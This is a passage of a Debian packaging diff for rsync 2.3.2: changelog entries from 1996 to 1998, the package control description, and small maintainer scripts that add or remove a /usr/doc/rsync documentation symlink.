	+rsync (2.0.14-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Fri, 29 May 1998 15:26:18 +0100
	+
	+rsync (2.0.13-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 28 May 1998 01:17:34 +0100
	+
	+rsync (2.0.12-1) unstable; urgency=high
	+
	+  * New upstream release
	+    (fixes bug that could result in loss of data in files stored in deep
	+    directory trees i.e. with path names of more than 255 characters)
	+
	+ -- Philip Hands <phil@hands.com>  Tue, 26 May 1998 18:12:14 +0100
	+
	+rsync (2.0.11-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Sat, 23 May 1998 12:00:28 +0100
	+
	+rsync (2.0.10-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Wed, 20 May 1998 01:58:45 +0100
	+
	+rsync (2.0.9-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Mon, 18 May 1998 15:44:56 +0100
	+
	+rsync (2.0.3-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Fri, 15 May 1998 09:47:18 +0100
	+
	+rsync (2.0.0-1) unstable; urgency=low
	+
	+  * New upstream release
	+    (this includes the new --daemon code, which needs testing, so consider
	+     this to be beta software, and use with care)
	+  
	+    The alpha version that I released a couple of days ago,
	+    is incompatible with this version, and should be discarded.
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 14 May 1998 11:22:25 +0100
	+
	+rsync (1.7.4-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Fri, 17 Apr 1998 10:50:44 +0100
	+
	+rsync (1.7.2-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Thu,  9 Apr 1998 10:19:08 +0100
	+
	+rsync (1.7.1-0bo1) bo-unstable; urgency=low
	+
	+  * recompiled for libc5
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 26 Mar 1998 10:27:48 +0000
	+
	+rsync (1.7.1-1) unstable; urgency=low
	+
	+  * New upstream release (closes: #16181 #16860)
	+  * Fixed typo in description (closes: #18948)
	+  * add /usr/doc/rsync/test.sh
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 26 Mar 1998 09:35:24 +0000
	+
	+rsync (1.6.9-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Tue, 13 Jan 1998 17:16:06 +0000
	+
	+rsync (1.6.8-2) unstable; urgency=low
	+
	+  * Add upstream patch to fix --suffix option
	+    (From Andrew Tridgell on the rsync mailing list)
	+
	+ -- Philip Hands <phil@hands.com>  Tue, 30 Dec 1997 10:54:57 +0000
	+
	+rsync (1.6.8-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Mon, 29 Dec 1997 10:46:41 +0000
	+
	+rsync (1.6.7-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Wed, 17 Dec 1997 09:04:16 +0000
	+
	+rsync (1.6.3-2) unstable; urgency=low
	+
	+  * recompile with libc6
	+
	+ -- Philip Hands <phil@hands.com>  Wed, 20 Aug 1997 10:21:04 +0100
	+
	+rsync (1.6.3-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Tue, 22 Apr 1997 15:17:38 +0100
	+
	+rsync (1.6.2-1) unstable; urgency=low
	+
	+  * Initial Release
	+
	
	+ -- Philip Hands <phil@hands.com>  Wed, 9 Oct 1996 23:45:08 +0100
	+
	+Local variables:
	+mode: debian-changelog
	+End:
	--- rsync-2.3.2.orig/debian/control
	+++ rsync-2.3.2/debian/control
	@@ -0,0 +1,18 @@
	+Source: rsync
	+Section: net
	+Priority: optional
	+Maintainer: Philip Hands <phil@hands.com>
	+Standards-Version: 3.0.0
	+
	+Package: rsync
	+Architecture: any
	+Depends: ${shlibs:Depends}
	+Suggests: ssh
	+Description: fast remote file copy program (like rcp)
	+ rsync is a program that allows files to be copied to and from remote
	+ machines in much the same way as rcp.  It has many more options than
	+ rcp, and  uses the  rsync remote-update protocol to greatly speedup
	+ file transfers when the destination file already exists.
	+ .
	+ The rsync remote-update protocol allows rsync to transfer just the
	+ differences between two sets of files across the network link.
	--- rsync-2.3.2.orig/debian/prerm
	+++ rsync-2.3.2/debian/prerm
	@@ -0,0 +1,6 @@
	+#!/bin/sh
	+# prerm for rsync
	+
	+if [ \( "$1" = "upgrade" -o "$1" = "remove" \) -a -L /usr/doc/rsync ]; then
	+  rm -f /usr/doc/rsync
	+fi
	--- rsync-2.3.2.orig/debian/postinst
	+++ rsync-2.3.2/debian/postinst
	@@ -0,0 +1,8 @@
	+#!/bin/sh
	+# postinst for rsync
	+
	+if [ "$1" = "configure" ]; then
	+  if [ -d /usr/doc -a ! -e /usr/doc/rsync -a -d /usr/share/doc/rsync ]; then
	+    ln -sf ../share/doc/rsync /usr/doc/rsync
	+  fi
	+fi